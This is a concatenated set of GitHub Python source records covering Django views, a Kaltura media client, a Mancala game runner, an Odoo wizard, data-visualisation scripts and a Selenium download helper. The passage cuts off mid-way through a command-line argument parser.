InterruptTaskSet()\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:%i\" % self.port\n task_set = MyTaskSet\n \n l = MyLocust()\n ts = MyTaskSet(l)\n self.assertRaises(InterruptTaskSet, lambda: ts.interrupted_task())\n self.assertEqual(0, self.num_failures)\n self.assertEqual(0, self.num_success)\n \n def test_catch_response_connection_error_success(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:1\"\n l = MyLocust()\n with l.client.get(\"/\", catch_response=True) as r:\n self.assertEqual(r.status_code, 0)\n self.assertEqual(None, r.content)\n r.success()\n self.assertEqual(1, self.num_success)\n self.assertEqual(0, self.num_failures)\n \n def test_catch_response_connection_error_fail(self):\n class MyLocust(FastHttpLocust):\n host = \"http://127.0.0.1:1\"\n l = MyLocust()\n with l.client.get(\"/\", catch_response=True) as r:\n self.assertEqual(r.status_code, 0)\n self.assertEqual(None, r.content)\n r.failure(\"Manual fail\")\n self.assertEqual(0, self.num_success)\n self.assertEqual(1, self.num_failures)\n","repo_name":"heyman/locust","sub_path":"locust/test/test_fasthttp.py","file_name":"test_fasthttp.py","file_ext":"py","file_size_in_byte":15905,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"35696201288","text":"from django import template\nfrom datetime import datetime\nfrom player.models import Profile\nregister = template.Library()\n\n@register.inclusion_tag('content_box.html')\ndef show_content_box(user, content):\n\tdate = datetime.now()\n\tcontext = {'date': date}\n\ttry:\n\t\tprofile = user.profile\n\texcept Profile.DoesNotExist:\n\t\tcontext['content'] = content\n\t\tcontext['username'] = user.username\n\t\treturn context\n\telse:\n\t\tcontext['avatar'] = profile.avatar\n\t\tcontext['content'] = content\n\t\tcontext['username'] = user.username\n\t\treturn context\n@register.inclusion_tag('content_box_simple.html')\ndef show_content_box_simple(author, content):\n\tdate = datetime.now()\n\tcontext = {'date': date}\n\tcontext['author'] = author\n\tcontext['content'] = content\n\treturn context","repo_name":"coyote963/bmladder","sub_path":"player/templatetags/contentbox.py","file_name":"contentbox.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29552373167","text":"from KalturaClient import *\nfrom KalturaClient.Plugins.Core import *\n\nimport hashlib\nimport os, sys\nimport requests\n\nKALTURA_PARTNER_ID = int(os.getenv('KALTURA_PARTNER_ID', default=0))\nKALTURA_TOKEN_ID = os.getenv('KALTURA_TOKEN_ID', default=None)\nKATLURA_APP_TOKEN = os.getenv('KALTURA_APP_TOKEN', default=None)\n\nif KALTURA_PARTNER_ID == 0 or not KALTURA_TOKEN_ID or not KATLURA_APP_TOKEN:\n print(\"INVALID KALTURA CREDENTIALS, check KALTURA environment variables.\")\n assert False\nKS = ''\n\n# https://forum.kaltura.org/t/what-is-proper-expiry-value-when-invoking-client-apptoken-startsession/11329\n\ndef createClient(partnerId, tokenId, appToken):\n config = KalturaConfiguration(partnerId)\n config.serviceUrl = \"https://cdnapisec.kaltura.com\" # \"https://www.kaltura.com/\" #\"https://mediaspace.illinois.edu/\" # \"https://www.kaltura.com/\"\n client = KalturaClient(config)\n \n widgetId = \"_\"+str(partnerId)\n expiry = 864000\n print(\"Starting Widget Session\")\n result = client.session.startWidgetSession(widgetId, expiry)\n client.setKs(result.ks)\n print('startWidgetSession Complete.')\n \n tokenHash = hashlib.sha256(result.ks.encode('ascii') + appToken.encode('ascii')).hexdigest()\n \n print(\"Starting appToken session\")\n result = client.appToken.startSession( tokenId, tokenHash, '', '', expiry) # Fails here\n # ^ throws APP_TOKEN_ID_NOT_FOUND\n \n client.setKs(result.ks)\n global KS\n KS = result.ks\n \n return client\n\ndef getMediaInfo(client, mediaId):\n print(f\"Requesting {mediaId}\")\n mediaEntry = client.media.get(mediaId, -1)\n #dir(mediaEntry)\n info = {'id': mediaEntry.id,\n 'downloadUrl': mediaEntry.downloadUrl,\n 'name': mediaEntry.name,\n 'description': mediaEntry.description,\n 'duration' : mediaEntry.duration,\n 'createdAt': mediaEntry.createdAt,\n 'mediaType': mediaEntry.mediaType.value,\n 'parentEntryId' : mediaEntry.parentEntryId\n }\n print(info)\n return info\n\n\ndef getChannelInfo(client, channelId):\n print(f\"Requesting {channelId}\")\n channel = client.category.get(channelId)\n \n info = {'id': channel.id, 'name': channel.name, 'createdAt' : channel.createdAt, 'description': channel.description}\n print(info)\n return info\n\ndef getPlaylistEntries(client,playlistId):\n print(f\"Listing Playlist playlistId\")\n p = client.playlist.get(playlistId)\n print( p.playlistContent ) \n return p.playlistContent\n\n \ndef getChannelEntries(client, channelId):\n print(f\"Listing Channel {channelId}\")\n filter = KalturaCategoryEntryFilter()\n filter.categoryIdEqual = channelId\n \n pager = KalturaFilterPager(pageSize=30, pageIndex=1)\n res = []\n \n entries = client.categoryEntry.list(filter, pager)\n #entries = client.media.list(filter, pager)\n for entry in entries.objects:\n if(entry.entryId and len(entry.entryId) > 0):\n res.append( entry.entryId)\n\n print(res)\n return res\n\n# https://knowledge.kaltura.com/help/how-to-retrieve-the-download-or-streaming-url-using-api-calls\n# https://github.com/kaltura/DeveloperPortalDocs/blob/master/documentation/Deliver-and-Distribute-Media/how-retrieve-download-or-streaming-url-using-api-calls.md\n \n\ndef downloadFile(url, filepath=None, cookies=None):\n extension = None\n count = 0\n maxcount = 256\n print(url, filepath)\n with requests.get(url, stream=True, allow_redirects=True, cookies=cookies) as r: \n with open(filepath, 'wb') as f:\n for chunk in r.iter_content(chunk_size=8192):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n \n if( count % 32 == 0):\n sys.stderr.write('.')\n count +=1\n if (count >= maxcount):\n break\n \n print(f\"{count} chunks downloaded\")\n \n \ndef downloadMedia(client,entryId):\n print(f'downloadMedia {entryId}')\n global KS\n entryId = entryId.replace('/','')\n serviceUrl = 'https://cdnapisec.kaltura.com'\n partnerId = KALTURA_PARTNER_ID\n streamingFormat= 'download' #'url'\n protocol= 'https'\n videoFlavorId= 0\n ks= KS\n ext = 'mp4'\n url= f\"{serviceUrl}/p/{partnerId}/sp/0/playManifest/entryId/{entryId}/format/{streamingFormat}/protocol/{protocol}/flavorParamId/{videoFlavorId}/ks/{ks}/video.{ext}\"\n\n downloadFile(url,f\"{entryId}.mp4\")\n \n \ndef testKalturaClientAPI():\n print(\"Creating Kaltura client...\")\n client = createClient(KALTURA_PARTNER_ID, KALTURA_TOKEN_ID, KATLURA_APP_TOKEN)\n channelEntries = getChannelEntries(client, 266843702)\n for m in channelEntries:\n media = getMediaInfo(client, m)\n \ndef test2KalturaClientAPI():\n\n print(\"Creating Kaltura client...\")\n client = createClient(KALTURA_PARTNER_ID, KALTURA_TOKEN_ID, KATLURA_APP_TOKEN)\n channelEntries = getChannelEntries(client, MY_CHANNEL_ID)\n for m in channelEntries:\n media = getMediaInfo(client, m)\n \n MY_CHANNEL_ID = 266843702\n # 266843702 - CS341 FA22 channel\n # 260743952 - CS361 FA22\n # 268264992 \n\n MY_MEDIA_ID = '1_hqgd9bua'\n MY_PLAYLIST_ID = '1_rfz3i45g'\n # CS361 : 1_4cfiixlg , 1_kj8wyyn4\n downloadMedia(client,'1_4cfiixlg') # CS361 but zero bytes?\n downloadMedia(client,'1_kj8wyyn4') # CS361\n \n # CS341 FA22 ['1_nvd1xkx1', '1_1ldhqtpc', '1_d73kf02r']\n # 1_d73kf02r\n #1_1ldhqtpc\n downloadMedia(client,'1_d73kf02r') # Cs341\n downloadMedia(client,'1_1ldhqtpc') # Cs341\n \n\n channelEntries = getChannelEntries(client, MY_CHANNEL_ID)\n for m in channelEntries:\n media = getMediaInfo(client, m)\n return \n playlistEntries = getPlaylistEntries(client, MY_PLAYLIST_ID )\n \n info3 = getChannelInfo(client, MY_CHANNEL_ID) \n info4 = getMediaInfo(client, MY_MEDIA_ID)\n \n assert playlistEntries == '1_all1hnme,1_14vd1lkm,1_wn5kbgqq'\n assert len(channelEntries) > 0\n #assert info3 == {'id': 266843702, 'name': 'CS 341 2022 Fall', 'createdAt': 1660588552, 'description': 'CS\\n341 2022 Fall'}\n assert info4 == {'id': '1_hqgd9bua', 'downloadUrl': 'https://cdnapisec.kaltura.com/p/1329972/sp/132997200/playManifest/entryId/1_hqgd9bua/format/download/protocol/https/flavorParamIds/0', 'name': 'The Language Of - And People Of - Computer Science', 'description': 'Language And People Of Computer Science - an interview with Prof. Tiffani Williams', 'createdAt': 1651624658}, info4\n \n print(\"Finished\")\n\nif __name__ == '__main__' :\n testKalturaClientAPI()\n","repo_name":"classtranscribe/WebAPI","sub_path":"PythonRpcServer/kalturaclient_sanitytest.py","file_name":"kalturaclient_sanitytest.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"31747943189","text":"# Create your views here.\r\n\r\nfrom django.shortcuts import render\r\n\r\ndef home(request):\r\n\t\"home of company\"\r\n\tdata = None\r\n\treturn render(request,\"nightout_company_index.html\",data)\r\n\r\ndef editEstablishment(request):\r\n\t\"home of company\"\r\n\r\n\tfields = [ #id,name,type\r\n\t\t(\"companyName\",\"Company Name\",\"text\"),\r\n\t\t(\"companyType\",\"Type of Establishment\",\"text\"),\r\n\t\t(\"companyEmail\",\"Company Email\",\"email\")\r\n\t]\r\n\r\n\tdata = {\"fields\":fields}\r\n\treturn render(request,\"nightout_company_edit_establishment.html\",data)\r\n\r\ndef editEvent(request):\r\n\t\"home of company\"\r\n\r\n\tfields = [ #id,name,type\r\n\t\t(\"eventName\",\"Event Name\",\"text\"),\r\n\t\t(\"eventType\",\"Type of Event\",\"text\"),\r\n\t\t(\"musicType\",\"Type of Music\",\"text\"),\r\n\t\t(\"eventCost\",\"Cost of Event\",\"number\"),\r\n\t]\r\n\r\n\tdata = {\"fields\":fields}\r\n\treturn render(request,\"nightout_company_edit_event.html\",data)\r\n\r\ndef editLocation(request):\r\n\t\"company define location\"\r\n\tdata = None\r\n\treturn render(request,\"nightout_company_edit_location.html\",data)\r\n\r\ndef viewEvents(request,title):\r\n\t\"home of company\"\r\n\r\n\t\r\n\r\n\theaders = [\"Date\",\"App User Attendance\",\"Advertising Cost\",\"Options\"]\r\n\r\n\tmonth = {\"past\":2,\"future\":3}\r\n\r\n\trows = [\r\n\t\t(\"11/{}/14\".format(month[title]),\"16\",u\"\\xA36.50\"),\r\n\t\t(\"13/{}/14\".format(month[title]),\"26\",u\"\\xA37.50\"),\r\n\t\t(\"16/{}/14\".format(month[title]),\"42\",u\"\\xA323.00\"),\r\n\t\t(\"24/{}/14\".format(month[title]),\"19\",u\"\\xA39.20\")\r\n\t]\r\n\ttitle = title.capitalize()\r\n\tdata = {\r\n\t\t\"title\" : title,\r\n\t\t\"headers\":headers,\r\n\t\t\"rows\":rows\r\n\t\t}\r\n\treturn render(request,\"nightout_company_view_events.html\",data)\r\n\r\ndef promote(request):\r\n\t\"function for promoting\"\r\n\r\n\theaders = [\"Date\",\"App User Attendance\",\"Advertising Cost\",\"Options\"]\r\n\r\n\r\n\trows = [\r\n\t\t(\"11/03/14\",\"16\",u\"\\xA36.50\"),\r\n\t\t(\"13/03/14\",\"26\",u\"\\xA37.50\"),\r\n\t\t(\"16/03/14\",\"42\",u\"\\xA323.00\"),\r\n\t\t(\"24/03/14\",\"19\",u\"\\xA39.20\")\r\n\t]\r\n\r\n\tdata = {\r\n\t\t\"headers\":headers,\r\n\t\t\"rows\":rows\r\n\t\t}\r\n\treturn render(request,\"nightout_company_promote.html\",data)","repo_name":"hpgmiskin/nightout","sub_path":"nightout_company/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71035212269","text":"#!/usr/bin/python\n\nimport sys\n\nimport numpy as np\nfrom mancala import Mancala\nfrom strategy import MinMax_player, Random_player, Human_player, AlphaBeta_player\nimport time\n\nPITS = 6\nSTONES = 4\nDEPTH_1 = 3\nDEPTH_2 = 3\n\ndef terminal_test(state):\n \"\"\"\n return None if not terminal, otherwise return the winner, 0 for draw\n \"\"\"\n sum_1 = state[0,1:].sum()\n sum_2 = state[1,:-1].sum()\n\n store_1 = state[0,0]\n store_2 = state[1,-1]\n\n if sum_1 * sum_2 == 0:\n if store_1 + sum_1 > store_2 + sum_2:\n return 1\n elif store_1 + sum_1 < store_2 + sum_2:\n return 2\n else:\n return 0\n \n return None\n\ndef main(player_1_str = None, player_2_str = None, depth_1 = None, depth_2 = None):\n\n m = Mancala(PITS,STONES)\n\n if player_1_str is None and player_2_str is None:\n player_1_str = sys.argv[1]\n player_2_str = sys.argv[2]\n\n if depth_1 is None:\n depth_1 = DEPTH_1\n if depth_2 is None:\n depth_2 = DEPTH_2\n\n if player_1_str == 'human':\n player_1 = Human_player(PITS)\n elif player_1_str == 'random':\n player_1 = Random_player(PITS)\n elif player_1_str == 'minimax':\n player_1 = MinMax_player(PITS, 1, depth_1)\n elif player_1_str == 'alphabeta':\n player_1 = AlphaBeta_player(PITS, 1, depth_1)\n \n if player_2_str == 'human':\n player_2 = Human_player(PITS)\n elif player_2_str == 'random':\n player_2 = Random_player(PITS)\n elif player_2_str == 'minimax':\n player_2 = MinMax_player(PITS, 2, depth_2)\n elif player_2_str == 'alphabeta':\n player_2 = AlphaBeta_player(PITS, 2, depth_2)\n\n player = 1\n\n players = [0]\n timers = [0]\n players.append(player_1)\n players.append(player_2)\n\n timers.append(0.)\n timers.append(0.)\n\n result = None\n m.print()\n while True:\n print(\"Player %d's turn:\\n\" % player)\n start_time = time.time()\n action = players[player].get_action(m.state.copy(), player)\n end_time = time.time()\n\n timers[player] += end_time - start_time\n\n print(action)\n state, player = m.sow(action,player)\n m.state = state\n m.print()\n\n result = terminal_test(m.state)\n if not result==None:\n if result == 0:\n print(\"Draw.\")\n else:\n print(\"Player %d wins!\" % result)\n\n m.print_done()\n\n return result, timers\n\n # input()\n\n\ndef evluation(evaluation_num = 100, file_name = 'experiments_2.txt'):\n with open(file_name, 'wt') as f:\n # print(\"Random vs. MiniMax(3)\",file = f)\n # print(\"-\" * 50,file = f)\n # result = np.zeros(3,int)\n # for i in range(evaluation_num):\n # res, timers = main(\"random\",\"minimax\",depth_2= 3)\n # result[res] += 1\n # print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n # print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n # print(\"=\" * 50,file=f)\n\n # print(\"Random vs. AlphaBeta(3)\",file = f)\n # print(\"-\" * 50,file = f)\n # result = np.zeros(3,int)\n # for i in range(evaluation_num):\n # res, timers = main(\"random\",\"alphabeta\",depth_2= 3)\n # result[res] += 1\n # print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n # print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n # print(\"=\" * 50,file=f)\n\n # print(\"Random vs. Random\",file = f)\n # print(\"-\" * 50,file = f)\n # result = np.zeros(3,int)\n # for i in range(evaluation_num):\n # res, timers = main(\"random\",\"random\")\n # result[res] += 1\n # print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n # print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n # print(\"=\" * 50,file=f)\n\n # print(\"MiniMax(3) vs. MiniMax(5)\",file = f)\n # print(\"-\" * 50,file = f)\n # result = np.zeros(3,int)\n # for i in range(evaluation_num):\n # res, timers = main(\"minimax\",\"minimax\",3,5)\n # result[res] += 1\n # print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n # print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n # print(\"=\" * 50,file=f)\n\n # print(\"AlphaBeta(3) vs. AlphaBeta(10)\",file = f)\n # print(\"-\" * 50,file = f)\n # result = np.zeros(3,int)\n # for i in range(evaluation_num):\n # res, timers = main(\"alphabeta\",\"alphabeta\",3,10)\n # result[res] += 1\n # print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n # print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n # print(\"=\" * 50,file=f)\n\n print(\"MiniMax(5) vs. AlphaBeta(5)\",file = f)\n print(\"-\" * 50,file = f)\n result = np.zeros(3,int)\n for i in range(evaluation_num):\n res, timers = main(\"minimax\",\"alphabeta\",5,5)\n result[res] += 1\n print(\"Draw: {:d}, Player 1 wins: {:d}, Player 2 wins: {:d}\".format(*result.tolist()), file = f)\n print(\"Player 1 times: {:f}, Player 2 times: {:f}\".format(timers[1], timers[2]), file = f)\n print(\"=\" * 50,file=f)\n\n \n\nif __name__ == '__main__':\n\n # evluation()\n main()","repo_name":"likeyhnbm/CSC442-mancala","sub_path":"src/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14093849625","text":"from selenium import webdriver\nimport time\n\n# Configuração do driver do Chrome\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"--disable-blink-features=AutomationControlled\")\ndriver = webdriver.Chrome(options=options)\n\n# URL do link de download do Google Drive\nurl = \"https://drive.google.com/uc?export=download&id=ID_DO_ARQUIVO\"\n\n# Acessa a URL do link de download\ndriver.get(url)\n\n# Espera o botão de download aparecer\nwhile True:\n try:\n download_button = driver.find_element_by_xpath(\"//a[contains(@title, 'Download')]\")\n break\n except:\n time.sleep(1)\n\n# Clica no botão de download\ndownload_button.click()\n\n# Espera o download terminar\nwhile True:\n time.sleep(1)\n if any([filename.endswith(\".crdownload\") for filename in os.listdir()]):\n continue\n else:\n break\n\n# Abre o arquivo\narquivo = \"nome_do_arquivo.extensao\"\nos.startfile(arquivo)\n","repo_name":"gabrieldiassantiago/portfolio-web","sub_path":".history/main_20230316233822.py","file_name":"main_20230316233822.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34426263206","text":"import numpy as np\nimport cv2\nimport os\n\nimport time\n\n\n\n\n#training_data_anant.npy\n#[1,0,0,0,0]\n\n\n\n\n\nfile_name = 'training_data_anant.npy'\n\n\n\nif os.path.isfile(file_name):\n\n print('File exists, loading previous data!')\n\n training_data = list(np.load(file_name))\n\nelse:\n\n print('File does not exist, starting fresh!')\n\n training_data_anant = []\n\n\n\n\ncap = cv2.VideoCapture(0)\n\n##while(True):\n## # Capture frame-by-frame\n## ret, frame = cap.read()\n##\n## # Our operations on the frame come here\n## gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n##\n## # Display the resulting frame\n## cv2.imshow('frame',gray)\n## if cv2.waitKey(1) & 0xFF == ord('q'):\n## break\n##\n### When everything done, release the capture\n##cap.release()\n##cv2.destroyAllWindows()\n\n\ndef main():\n\n\n\n for i in list(range(3)[::-1]): #countdown\n\n print(i+1)\n\n time.sleep(1)\n\n\n\n\n paused = False\n while(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n # Our operations on the frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Display the resulting frame\n cv2.imshow('frame',gray)\n\n foo = [1,0,0,0,0]\n\n \n training_data_anant.append([gray,foo])\n\n print(\"captured\")\n\n\n if len(training_data_anant) % 100 == 0:\n\n print(len(training_data_anant))\n \n\n np.save(file_name,training_data_anant)\n print (\"saved current chunk\")\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # When everything done, release the capture\n cap.release()\n cv2.destroyAllWindows()\n\n \n\n\n \n\n\n\nmain()\n\n\n\n \n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","repo_name":"Mayukhdeb/simple_face_ID","sub_path":"dump/camera_capture sandbox.py","file_name":"camera_capture sandbox.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"71485245867","text":"\nimport pandas as pd\nimport numpy as np\ndf=pd.read_table(r\"C:\\Users\\svajjal\\Documents\\GitHub\\project-deliverable-2-cowboys\\data\\Top_100_selling_TV.csv\", sep=',')\n\n\n\nfrom matplotlib import pyplot as plt\n\n#Top 100 selling Tvs by brand\ndf_grpby_brand=df['Product_Brand'].value_counts()\ndf_grp_brand = pd.DataFrame(df_grpby_brand).reset_index()\ndf_grp_brand.columns.values[0] = 'Brand'\ndf_grp_brand.columns.values[1] = 'num_of_Tv'\nbrand=[]\nno_of_prod=[]\nbrand.extend(df_grp_brand['Brand'].tolist())\nno_of_prod.extend(df_grp_brand['num_of_Tv'].tolist())\nplt.barh(brand,no_of_prod)\nplt.tight_layout()\nplt.title(\"Top 100 selling Tvs by brand\")\nplt.ylabel('Product_Brand')\nplt.xlabel('Number of products')\n\nplt.xticks(np.arange(0, max(no_of_prod) + 2, 3.0))\nplt.show()\n\n#pie chart\nplt.pie(no_of_prod,labels = brand)\nplt.show()\n\n#screensize \nsize_list=[]\nsize_list.extend(df['Product_Screensize'].tolist())\n#print(df['Product_Screensize'].max)\nprint(min(size_list))\nbins=[20.0,30.0,40.0,50.0,60.0,70.0,80.0,90.0]\nplt.hist(size_list,bins=bins,edgecolor='black')\nplt.tight_layout()\nplt.title(\"Number of Tvs by Screen Size\")\nplt.xlabel('Screen Size in Inches')\nplt.ylabel('Number of products')\nplt.show()\n\n\n#Price\nprice_list=df['product_Price']\nprint(min(price_list))\nplt.hist(price_list,edgecolor='black')\nplt.xticks(np.arange(0,max(price_list),100))\nplt.yticks(np.arange(0,70,5))\nplt.title(\"Number of Tvs by price\")\nplt.xlabel('price in USD')\nplt.ylabel('Number of products')\nplt.show()\n\n\n#Resolution\ndf_grpby_resolution=df['Product_Resolution'].value_counts()\nprint(df_grpby_resolution)\ndf_grp_res = pd.DataFrame(df_grpby_resolution).reset_index()\ndf_grp_res.columns.values[0] = 'Resolution'\ndf_grp_res.columns.values[1] = 'num_of_Tv'\nResolution=[]\nno_of_prod=[]\nResolution.extend(df_grp_res['Resolution'].tolist())\nno_of_prod.extend(df_grp_res['num_of_Tv'].tolist())\nplt.bar(Resolution,no_of_prod)\nplt.tight_layout()\nplt.title(\"Top 100 selling Tvs by brand\")\nplt.xlabel('Resolution')\nplt.ylabel('Number of products')\n\nplt.yticks(np.arange(0, max(no_of_prod) + 2, 3.0))\nplt.show()","repo_name":"santhoshchittiprolu/FinalProject","sub_path":"code/datavisualization.py","file_name":"datavisualization.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70226772266","text":"import datetime\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\n\n\nclass AddToExpenseLine(models.TransientModel):\n _name = \"add.to.expense.line\"\n _description = \"Feature to add to expense line\"\n\n def _get_default_amount(self):\n shipments = self.env['operation.shipment'].browse(self._context.get('active_ids', []))\n context = self._context\n if context.get('tax_amount'):\n return shipments.total_tax_amount\n if context.get('tax_amount_co'):\n return shipments.total_tax_amount_co\n\n def _get_default_description(self):\n shipments = self.env['operation.shipment'].browse(self._context.get('active_ids', []))\n if self._context.get('tax_amount'):\n return 'Duty Tax Amount'\n if self._context.get('tax_amount_co'):\n return 'Tax Amount CO'\n\n def _get_default_account_id(self):\n shipments = self.env['operation.shipment'].browse(self._context.get('active_ids', []))\n if self._context.get('tax_amount') or self._context.get('tax_amount_co') :\n return self.env['account.account'].search([('name', '=', 'Customs Duty Tax')], limit=1)\n\n account_id = fields.Many2one('account.account', string=\"Expense Account\", default=_get_default_account_id,\n domain=\"[('company_id', '=', company_id), ('user_type_id', 'in', [15, 17])]\",\n help=\"Expense Line Account\")\n amount = fields.Monetary(currency_field='currency_id', default=_get_default_amount)\n qty = fields.Float(string=\"QTY\", default=1.0)\n description = fields.Char(string=\"Description\", default=_get_default_description)\n uom_id = fields.Many2one('uom.unit', string=\"UOM\")\n company_id = fields.Many2one('res.company', store=True, copy=False,\n default=lambda self: self.env.company)\n currency_id = fields.Many2one('res.currency', string='Currency', store=True, readonly=False,\n related='company_id.currency_id')\n\n def add_tax_amount(self):\n shipments = self.env['operation.shipment'].browse(\n self._context.get('active_ids', [])\n )\n if self.amount == 0.0:\n raise ValidationError(_('Please make sure that Total Amount is not 0.0!'))\n\n for shipment in shipments:\n customs_duty_line_vals = {\n 'shipment_id': shipment.id,\n 'account_id': self.account_id.id,\n 'description': self.description,\n 'qty': self.qty,\n 'unit_price': self.amount / self.qty,\n 'duty_tax': True,\n 'state': 'draft',\n 'requester_user_id': self.env.user.id,\n 'requested_date': datetime.datetime.today(),\n }\n customs_duty_line = self.env['shipment.expense.custom.duty'].create(customs_duty_line_vals)\n return True\n","repo_name":"deboreysokun/dvl-customs-14.0","sub_path":"devel_logistic_management/wizard/add_to_expense_line.py","file_name":"add_to_expense_line.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32606300511","text":"from django.http import HttpResponse, HttpResponseBadRequest\nfrom django.shortcuts import render\nfrom django.views import View\nfrom django.views.generic import ListView, TemplateView, DetailView\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.urls import reverse_lazy\n\nfrom graphos.sources.model import ModelDataSource\nfrom graphos.renderers.morris import LineChart\n\nfrom .forms import CreateEditForm\nfrom .models import Observation\nfrom .resources import ObservationResource\n\n# Create your views here.\nclass IndexView(ListView):\n model = Observation\n\n def get_queryset(self):\n return Observation.objects.order_by('-observation_date')[:100]\n\nclass GraphView(TemplateView):\n template_name = \"datacorder/graph.html\"\n\n def get_context_data(self, **kwargs):\n context = super(GraphView, self).get_context_data(**kwargs)\n queryset = Observation.objects.order_by('-observation_date')[:100]\n\n chlorine_data_source = ModelDataSource(queryset,\n fields=['observation_date_timestamp_mills', 'total_chlorine', 'free_chlorine', 'ph'])\n chlorine_chart = LineChart(chlorine_data_source)\n context['chlorine_chart'] = chlorine_chart\n return context\n\nclass LinksView(TemplateView):\n template_name = \"datacorder/links.html\"\n\nclass ObservationDetail(DetailView):\n model = Observation\n\nclass ObservationCreate(CreateView):\n model = Observation\n form_class = CreateEditForm\n\nclass ObservationUpdate(UpdateView):\n model = Observation\n form_class = CreateEditForm\n\nclass ObservationDelete(DeleteView):\n model = Observation\n success_url = reverse_lazy('home')\n\nclass ExportView(View):\n\n def get(self, request, format='.html'):\n ACCEPTED_FORMATS={\n 'html': {\n 'Content-Type': 'text/html; charset=utf-8',\n 'Content-Disposition': 'inline'\n },\n 'csv': {\n 'Content-Type': 'text/csv; charset=utf-8',\n 'Content-Disposition': 'attachment; filename=\"export.csv\"'\n },\n 'json': {\n 'Content-Type': 'application/json',\n 'Content-Disposition': 'attachment; filename=\"export.json\"'\n },\n 'ods': {\n 'Content-Type': 'application/vnd.oasis.opendocument.spreadsheet',\n 'Content-Disposition': 'attachment; filename=\"export.ods\"'\n },\n 'tsv': {\n 'Content-Type': 'text/tsv; charset=utf-8',\n 'Content-Disposition': 'attachment; filename=\"export.tsv\"'\n },\n 'xls': {\n 'Content-Type': 'application/vnd.ms-excel',\n 'Content-Disposition': 'attachment; filename=\"export.xls\"'\n }\n }\n requested_format = format.strip('.').lower()\n\n if requested_format not in ACCEPTED_FORMATS:\n return HttpResponseBadRequest('Unrecognised format')\n\n o = ObservationResource();\n e = o.export()\n result = getattr(e, requested_format)\n\n response = HttpResponse(\n result,\n content_type=ACCEPTED_FORMATS[requested_format]['Content-Type'],\n )\n response['Content-Disposition'] = ACCEPTED_FORMATS[requested_format]['Content-Disposition']\n return response\n","repo_name":"cgspeck/poolmaster","sub_path":"poolmaster/datacorder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14142342257","text":"#! /usr/bin/env python\n\nimport argparse\nimport sys\nimport logging\nimport logging.config\nimport networkx as nx\nfrom cellmaps_utils import logutils\nfrom cellmaps_utils import constants\nimport cellmaps_ppi_embedding\nfrom cellmaps_ppi_embedding.runner import Node2VecEmbeddingGenerator\nfrom cellmaps_ppi_embedding.runner import CellMapsPPIEmbedder\nfrom cellmaps_ppi_embedding.runner import FakeEmbeddingGenerator\n\nlogger = logging.getLogger(__name__)\n\n\ndef _parse_arguments(desc, args):\n \"\"\"\n Parses command line arguments\n\n :param desc: description to display on command line\n :type desc: str\n :param args: command line arguments usually :py:func:`sys.argv[1:]`\n :type args: list\n :return: arguments parsed by :py:mod:`argparse`\n :rtype: :py:class:`argparse.Namespace`\n \"\"\"\n parser = argparse.ArgumentParser(description=desc,\n formatter_class=constants.ArgParseFormatter)\n parser.add_argument('outdir', help='Output directory')\n parser.add_argument('--inputdir', required=True,\n help='Directory where ppi_edgelist.tsv file resides')\n parser.add_argument('--dimensions', type=int, default=1024,\n help='Size of embedding to generate')\n parser.add_argument('--walk_length', type=int, default=80,\n help='Walk Length')\n parser.add_argument('--num_walks', type=int, default=10,\n help='Num walks')\n parser.add_argument('--workers', type=int, default=8,\n help='Number of workers')\n parser.add_argument('--p', type=int, default=2,\n help='--p value to pass to node2vec')\n parser.add_argument('--q', type=int, default=1,\n help='--q value to pass to 